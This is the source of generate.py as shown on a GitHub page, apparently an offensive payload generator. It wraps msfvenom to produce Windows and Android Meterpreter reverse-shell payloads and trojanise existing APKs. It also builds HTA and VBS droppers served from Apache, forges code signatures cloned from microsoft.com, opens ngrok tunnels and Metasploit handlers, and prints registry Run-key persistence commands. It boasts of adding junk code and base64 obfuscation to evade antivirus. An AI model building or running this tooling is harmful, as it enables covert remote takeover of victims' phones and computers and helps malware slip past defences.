-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathgenerate.py
550 lines (499 loc) · 22.8 KB
/
generate.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
import os
import string
import random
import time
import requests
import base64
import netifaces as nat
import binascii
Red ="\u001b[31m"
Green ="\u001b[32m"
Blue = '\033[94m'
def androidmodules():
def signapk(name):
os.system("java -jar apksigner.jar --apks androidpayloads/"+name+".apk >/dev/null 2>&1")
os.system("cd androidpayloads && mv "+name+"-aligned-debugSigned.apk "+name+".apk")
def Attackvector(ip):
vectorattack = input("do you want to start Vector-Attack:")
if vectorattack == "yes":
os.system("service apache2 start")
os.system("cp -r androidpayloads/" + name + ".apk /var/www/html")
os.system('cp -r template/index.html /var/www/html')
inplace_change('/var/www/html/index.html','$payload',name+".apk")
print("VectorAttack Started: http://"+ip)
else:
pass
def listeners(type,ip,lport,name):
listen = input(Green + "do you want to start multi/handler:")
if listen == "yes":
with open("handlers/" + name + ".rc", "w") as hand:
hand.write("use multi/handler\n")
hand.write("set payload android/meterpreter/reverse_" + type + "\n")
hand.write("set lhost " + ip + "\n")
hand.write("set lport " + lport + "\n")
hand.write("exploit")
hand.close()
os.system("sudo msfconsole -r handlers/" + name + ".rc")
print("""
1)Generate Android Payload
2)Infect Apk(will not Work with all apks)
""")
cmodules = int(input("chosse:"))
if cmodules == 1:
ip = input("entre Lhost:")
port = input("entre lport:")
name = input("entre PayloadName:")
print(Blue, """
available payloads
1)android/meterpreter/reverse_tcp
2)android/meterpreter/reverse_https
3)android/meterpreter/reverse_http
""")
def generate():
x = int(input("choose option:"))
if x == 1:
os.system("msfvenom -p android/meterpreter/reverse_tcp lhost=" + ip + " lport=" + port + " -o androidpayloads/"+name+".apk >/dev/null 2>&1")
print(Green,'[+]Generating Payload')
signapk(name)
time.sleep(3)
print("payload saved as androidpayloads/" + name + ".apk")
Attackvector(ip)
listeners("tcp",ip,port,name)
elif x == 2:
os.system("msfvenom -p android/meterpreter/reverse_https lhost=" + ip + " lport=" + port + " -o androidpayloads/"+name+".apk >/dev/null 2>&1")
print(Green, '[+]Generating Payload')
signapk(name)
time.sleep(3)
print("payload saved as androidpayloads/" + name + ".apk")
Attackvector(ip)
listeners("https",ip,port,name)
elif x == 3:
os.system("msfvenom -p android/meterpreter/reverse_http lhost=" + ip + " lport=" + port + " -o androidpayloads/"+name+".apk >/dev/null 2>&1")
print(Green, '[+]Generating Payload')
signapk(name)
time.sleep(3)
print("payload saved as androidpayloads/" + name + ".apk")
Attackvector(ip)
listeners("http",ip,port,name)
else:
print("option not found")
generate()
generate()
elif cmodules == 2:
ip = input("entre Lhost:")
port = input("entre lport:")
name = input("entre PayloadName:")
apkinfect = input("entre apk to infect:")
print(Blue, """
available payloads
1)android/meterpreter/reverse_tcp
2)android/meterpreter/reverse_https
3)android/meterpreter/reverse_http
""")
def infectapk():
def resigninfectedapk():
sign = input("do you want to try resign this apk:")
if sign == "yes":
os.system("java -jar apksigner.jar --apks androidpayloads/" + name + ".apk >/dev/null 2>&1")
signing = os.system(
"cd androidpayloads && mv " + name + "-aligned-debugSigned.apk " + name + ".apk >/dev/null 2>&1")
if signing == 0:
pass
else:
os.system("apktool d " + name + ".apk >/dev/null 2>&1")
os.system("rm -r androidpayloads/" + name + ".apk")
# recompile
os.system("apktool b " + name + " >/dev/null 2>&1")
os.system("cd androidpayloads/" + name + "/dist && mv " + name + ".apk ../..")
os.system("java -jar apksigner.jar --apks androidpayloads/" + name + ".apk ")
else:
pass
def checkinjection():
if os.path.exists('androidpayloads/' + name + '.apk') == True:
pass
else:
print(Red,'[-]can t inject meterpreter on apk')
exit()
x = int(input("choose option:"))
if x == 1:
os.system("msfvenom -p android/meterpreter/reverse_http lhost=" + ip + " lport=" + port + " -x " + apkinfect + " -o androidpayloads/" + name + ".apk >/dev/null 2>&1")
print(Green, '[+]Injecting Meterpreter in Apk')
checkinjection()
resigninfectedapk()
time.sleep(3)
print("payload saved as androidpayloads/" + name + ".apk")
Attackvector(ip)
listeners("tcp",ip,port,name)
elif x == 2:
os.system("msfvenom -p android/meterpreter/reverse_http lhost=" + ip + " lport=" + port + " -x " + apkinfect + " -o androidpayloads/" + name + ".apk >/dev/null 2>&1")
print(Green, '[+]Injecting Meterpreter in Apk')
checkinjection()
resigninfectedapk()
time.sleep(3)
print("payload saved as androidpayloads/" + name + ".apk")
Attackvector(ip)
listeners("https",ip,port,name)
elif x == 3:
os.system("msfvenom -p android/meterpreter/reverse_http lhost=" + ip + " lport=" + port + " -x "+apkinfect+" -o androidpayloads/" + name + ".apk >/dev/null 2>&1")
print(Green, '[+]Injecting Meterpreter in Apk')
checkinjection()
resigninfectedapk()
time.sleep(3)
print("payload saved as androidpayloads/" + name + ".apk")
Attackvector(ip)
listeners("http",ip,port,name)
else:
print("option not found")
infectapk()
infectapk()
def signexe():
sign = input("do you want to sign your exe:")
if sign == "yes":
to_clone = input("entre website to clone sert from it Default(www.microsoft.com):")
if to_clone == "":
print("Using Default Mode")
os.system("python3 signer-exe.py www.microsoft.com 443 payloads/Dropper.exe signed.exe")
os.system("mv signed.exe payloads/ && cd payloads/ && rm -rf Dropper.exe")
print("Saved as payloads/signed.exe")
else:
port = input("entre the Port ex(443):")
os.system("python3 signer-exe.py "+to_clone+ " " +port+ "payloads/Dropper.exe signed.exe")
os.system("mv signed.exe payloads/ && cd payloads/ && rm -rf Dropper.exe")
print("Saved as payloads/signed.exe")
def check_root():
if os.getuid() == 0:
pass
else:
print(Red+'run this as root pls')
exit()
check_root()
def HTAattack(ip):
name = randomtask
payload_input = input("entre your payload Path:")
if os.path.exists(payload_input):
os.system("cat "+payload_input+" > payload.txt")
with open('payload.txt','rb') as payload:
read = payload.read()
encoded = binascii.hexlify(read)
data = encoded.decode('utf-8')
datapar = "".join(data.splitlines())
os.system("cp -r template/Dropper.hta payloads/")
inplace_change('payloads/Dropper.hta','$ENCODEDPAYLOAD',datapar)
os.system("cd payloads && mv Dropper.hta "+name+" && mv "+name+" /var/www/html")
os.system("rm -rf payload.txt")
print("execute this on Target System: mshta http://"+ip+"/"+name)
else:
print("[-] I can t Find your Payload")
exit()
def makedropper():
payload_input = input("entre your payload Path:")
if os.path.exists(payload_input):
os.system("cat " + payload_input + " | base64 > payload.txt")
with open("payload.txt") as payload:
read = payload.read()
datapar = "".join( read.splitlines())
os.system("rm -rf payload.txt")
os.system("cp -r template/Dropper.vbs payloads/")
inplace_change('payloads/Dropper.vbs', '#ENCODEDPAYLOAD', datapar)
print("Saved As Dropper.vbs in /payloads")
print("to Make it FUD Use This(https://hackfree.org/VbsCrypter/)")
else:
print("[-] I can t Find your Payload")
exit()
def startapche():
os.system("sudo service apache2 start")
class Encrypt:
def __init__(self):
self.YELLOW, self.GREEN = '\33[93m', '\033[1;32m'
self.text = ""
self.enc_txt = ""
def encrypt(self, filename):
print(f"\n{self.YELLOW}[*] Encrypting Source Codes...")
with open(filename, "r") as f:
lines_list = f.readlines()
for lines in lines_list:
self.text += lines
self.text = self.text.encode()
self.enc_txt = base64.b64encode(self.text)
with open(filename, "w") as f:
f.write(f"import base64; exec(base64.b64decode({self.enc_txt}))")
time.sleep(2)
print(f"{self.GREEN}[+] Code Encrypted\n")
Len = 8
randomtask = ''.join(random.choices(string.ascii_uppercase + string.digits, k=Len))
def Banner():
os.system("clear")
print(Green+"""
____ __ _ _ ___ ____ _ _
( _ \ /__\ ( \/ )/ __)( ___)( \( )
)___//(__)\ \ /( (_-. )__) ) (
(__) (__)(__)(__) \___/(____)(_)\_)
Coded By TheNewAttacker64
Don t upload Payload To VirusTotal
""")
z = random.randint(40,50)
S = z
ran = ''.join(random.choices(string.ascii_uppercase + string.digits, k=S))
def shellcodelisteners():
listen = input(Green+"do you want to start multi/handler:")
if listen == "yes":
with open("handlers/"+payloadname+".rc","w") as hand:
hand.write("use multi/handler\n")
hand.write("set payload windows/x64/meterpreter/reverse_"+prot+"\n")
hand.write("set lhost "+lhost+"\n")
hand.write("set lport "+lport+"\n")
hand.write("exploit")
hand.close()
os.system("sudo msfconsole -r handlers/" + payloadname + ".rc")
def listeners():
listen = input(Green+"do you want to start multi/handler:")
if listen == "yes":
with open("handlers/"+payloadname+".rc","w") as hand:
hand.write("use multi/handler\n")
hand.write("set payload windows/meterpreter/reverse_"+prot+"\n")
hand.write("set lhost "+lhost+"\n")
hand.write("set lport "+lport+"\n")
hand.write("exploit")
hand.close()
os.system("sudo msfconsole -r handlers/"+payloadname+".rc")
def ngrokhandler(nglport,prot):
with open("handlers/ngrok.rc", "w") as hand:
hand.write("use multi/handler\n")
hand.write("set payload windows/meterpreter/reverse_" + prot + "\n")
hand.write("set lhost 0.0.0.0 \n")
hand.write("set lport " + nglport + "\n")
hand.write("exploit")
hand.close()
def inplace_change(filename, old_string, new_string):
with open(filename) as f:
s = f.read()
if old_string not in s:
return
with open(filename, 'w') as f:
s = s.replace(old_string, new_string)
f.write(s)
Banner()
print(Red+"""
1)Generate Payload
2)AutoPortForwarding(Ngrok)
3)Help Me With Persistence
4)Simple VBS Dropper
5)Simple HTA attack
6)C# Payload
7)Android Payloads
8)ShellCode Injection
""")
choose = int(input("root@Gen:"))
if choose == 1:
lhost = input(Green+"entre Lhost:")
lport = input(Green+"entre Lport:")
prot=input(Green+"Payload_Type(tcp,https):")
payloadname = input(Green + "entre PayloadName:")
os.system("msfvenom -p windows/meterpreter/reverse_" + prot + " LHOST=" + lhost + " LPORT=" + lport + " SessionExpirationTimeout=0 SessionCommunicationTimeout=0 exitfunc=process -f psh-cmd -o payload.bat >/dev/null 2>&1")
print(Green + "[*]Generating Payload")
inplace_change("payload.bat", "%COMSPEC%", "cmd.exe")
with open("payload.bat") as reverseshell:
thepay = reverseshell.read()
os.system("cp -r template/payload.py payloads/")
os.system("cd payloads/ && mv payload.py " + payloadname + ".py")
inplace_change("payloads/" + payloadname + ".py", "changeme", thepay)
inplace_change("payloads/" + payloadname + ".py", "RANDROMSTRING", ran)
print("Adding Some Junk Code To Evade AV :)")
time.sleep(1)
os.remove("payload.bat")
enc = Encrypt()
enc.encrypt("payloads/" + payloadname + ".py")
print("Payload Saved in payloads/")
time.sleep(5)
listeners()
elif choose == 2:
try:
prot = input(Green + "Payload_Type(tcp,https):")
payloadname = input(Green + "entre PayloadName:")
port = input("entre ngrok localport:")
ngrokhandler(port,prot)
os.system("xterm -fg green -bg black -e ngrok tcp " + port + " & ")
time.sleep(5)
url = "http://127.0.0.1:4040/api/tunnels"
recived = requests.get(url)
tcp = recived.json()["tunnels"][0]["public_url"]
ngrokhost = (tcp[6:20])
ngrokport = (tcp[21:])
os.system("msfvenom -p windows/meterpreter/reverse_" + prot + " LHOST=" + ngrokhost + " LPORT=" + ngrokport + " SessionExpirationTimeout=0 SessionCommunicationTimeout=0 exitfunc=process -f psh-cmd -o payload.bat >/dev/null 2>&1")
print(Green + "[*]Generating Payload")
inplace_change("payload.bat", "%COMSPEC%", "cmd.exe")
with open("payload.bat") as reverseshell:
thepay = reverseshell.read()
os.system("cp -r template/payload.py payloads/")
os.system("cd payloads/ && mv payload.py " + payloadname + ".py")
inplace_change("payloads/" + payloadname + ".py", "changeme", thepay)
inplace_change("payloads/" + payloadname + ".py", "RANDROMSTRING", ran)
print("Adding Some Junk Code To Evade AV :)")
os.remove("payload.bat")
enc = Encrypt()
enc.encrypt("payloads/" + payloadname + ".py")
print("Payload Saved in payloads/")
time.sleep(5)
multhandler = input("do you want to start multi/handler:")
if multhandler == "yes":
os.system("sudo msfconsole -r handlers/ngrok.rc")
else:
exit()
except requests.ConnectionError:
print("Check Ngrok Authtoken")
exit()
elif choose == 3:
admin = input("Do you Have Admin Priv:")
if admin == "yes":
task = input("entre the taskName (Entre For Random 1):")
if task == "":
path = input("Entre Payload Path on The Target Sys:")
command = 'reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /V "' + randomtask + '" /t REG_SZ /F /D "' + path + '"'
print(Green+" Type this on Target Shell ==> ",Red+command+'\n')
else:
path = input("Entre Payload Path on The Target Sys:")
command = 'reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /V "' + task + '" /t REG_SZ /F /D "' + path + '"'
print(Green+" Type this on Target Shell ==> ",Red+ command)
else:
task = input("entre the taskName (Entre For Random 1):")
if task == "":
path = input("Entre Payload Path on The Target Sys:")
command = 'reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /V "'+randomtask +'" /t REG_SZ /F /D "'+path+'"'
print(Green + " Type this on Target Shell ==> ", Red + command + '\n')
else:
path = input("Entre Payload Path on The Target Sys:")
command = 'reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /V "' +task+ '" /t REG_SZ /F /D "' + path + '"'
print(Green + " Type this on Target Shell ==> ", Red + command + '\n')
elif choose == 4:
makedropper()
elif choose == 5:
interfaces_list = nat.interfaces()
int_str = str(interfaces_list)
print("Available Interfaces: "+int_str)
interface = input("choose which interface you will use for the apache2 server:")
if interface in interfaces_list:
try:
ip = nat.ifaddresses(interface)[nat.AF_INET][0]['addr']
startapche()
HTAattack(ip)
except KeyError:
print("this Interface Not Connected to A Network")
else:
print("I can t Find That Interface")
print("Hope you know what are you Doing")
time.sleep(2)
try:
startapche()
ip = nat.ifaddresses(interface)[nat.AF_INET][0]['addr']
HTAattack(ip)
except ValueError:
print("Error Interface Not Found")
elif choose == 6:
print("""
1)Entre Powershell Payload
2)Using Msf Payload Automaticly
""")
payload = int(input("choose:"))
if payload == 1:
os.system("cp -r template/Dropper.cs payloads/")
powershell_payload = input("entre your powershell payload:")
datapar = "".join(powershell_payload.splitlines())
inplace_change('payloads/Dropper.cs',"PAYLOAD",datapar)
inplace_change('payloads/Dropper.cs', "$RandomString", ran)
elif payload == 2:
os.system("cp -r template/Dropper.cs payloads/")
prot = input("entre Payload type ex(tcp,https):")
lhost = input("entre lhost:")
lport = input("entre lport:")
os.system("msfvenom -p windows/meterpreter/reverse_" + prot + " LHOST=" + lhost + " LPORT=" + lport + " SessionExpirationTimeout=0 SessionCommunicationTimeout=0 exitfunc=process -f psh-cmd -o payload.bat >/dev/null 2>&1")
print(Green + "[*]Generating Payload")
inplace_change("payload.bat", "%COMSPEC%", "cmd.exe")
with open("payload.bat") as reverseshell:
thepay = reverseshell.read()
payloadname = "Dropper"
inplace_change('payloads/Dropper.cs', "PAYLOAD", thepay)
inplace_change('payloads/Dropper.cs', "$RandomString", ran)
os.remove('payload.bat')
os.system("cd payloads/ && mcs -out:Dropper.exe Dropper.cs >/dev/null 2>&1")
print(Green+"[+]Compiling your Payload")
os.remove('payloads/Dropper.cs')
print("payload Svaed as payloads/Dropper.exe")
signexe()
listeners()
elif choose == 7:
androidmodules()
elif choose == 8:
print(Green+"""
1) shellcode injection with python
2) shellcode injection with powershell
""")
shellcode = int(input("choose:"))
if shellcode == 1:
print(Green+"""
1) run a command on target system
2) Generate Meterpreter payload
""")
stager = int(input("choose:"))
if stager == 1:
command = input("enter the command you want to execute:")
os.system("msfvenom -p windows/x64/exec CMD="+command+" -f py -o shellcode >/dev/null 2>&1")
print("[+] Generating shellcode")
shell = open("shellcode").read()
os.system("cp -r template/shellcode-runner.py payloads/")
inplace_change("payloads/shellcode-runner.py","$shellcode",shell)
name = input("enter payloadname:")
os.system("mv payloads/shellcode-runner.py payloads/"+name+".py" )
print("payload saved in payloads/"+name+".py")
os.remove("shellcode")
elif stager == 2:
prot = input("meterpreter/reverse_(https,tcp..):")
lhost = input("enter lhost:")
lport = input("enter lport:")
Exitfunc = input("Choose ExitFuncMethod(Default is Thread):")
if Exitfunc == "":
Exitfunc = "thread"
os.system("msfvenom -p windows/x64/meterpreter/reverse_"+prot+ " lhost="+lhost+" lport="+lport+" EXITFUNC="+Exitfunc+" -f py -o shellcode >/dev/null 2>&1")
print("[+] Generating shellcode")
shell = open("shellcode").read()
os.system("cp -r template/shellcode-runner.py payloads/")
inplace_change("payloads/shellcode-runner.py", "$shellcode", shell)
payloadname = input("enter payloadname:")
os.system("mv payloads/shellcode-runner.py payloads/" + payloadname + ".py")
print("payload saved in payloads/" + payloadname + ".py")
os.remove("shellcode")
shellcodelisteners()
elif shellcode == 2:
print(Green + """
1) run a command on target system
2) Generate Meterpreter payload
""")
stager = int(input("choose:"))
if stager == 1:
command = input("enter the command you want to execute:")
os.system("msfvenom -p windows/x64/exec CMD=" + command + " -f powershell -o shellcode >/dev/null 2>&1")
print("[+] Generating shellcode")
shell = open("shellcode").read()
os.system("cp -r template/shellcode-exec.ps1 payloads/")
inplace_change("payloads/shellcode-exec.ps1", "$shellcode", shell)
name = input("enter payloadname:")
os.system("mv payloads/shellcode-exec.ps1 payloads/" + name + ".ps1")
print("payload saved in payloads/" + name + ".ps1")
os.remove("shellcode")
elif stager == 2:
prot = input("meterpreter/reverse_(https,tcp..):")
lhost = input("enter lhost:")
lport = input("enter lport:")
Exitfunc = input("Choose ExitFuncMethod(Default is Thread):")
if Exitfunc == "":
Exitfunc = "thread"
os.system(
"msfvenom -p windows/x64/meterpreter/reverse_" + prot + " lhost=" + lhost + " lport=" + lport + " EXITFUNC=" + Exitfunc + " -f powershell -o shellcode >/dev/null 2>&1")
print("[+] Generating shellcode")
shell = open("shellcode").read()
os.system("cp -r template/shellcode-exec.ps1 payloads/")
inplace_change("payloads/shellcode-exec.ps1", "$shellcode", shell)
payloadname = input("enter payloadname:")
os.system("mv payloads/shellcode-exec.ps1 payloads/" + payloadname + ".ps1")
print("payload saved in payloads/" + payloadname + ".ps1")
os.remove("shellcode")
shellcodelisteners()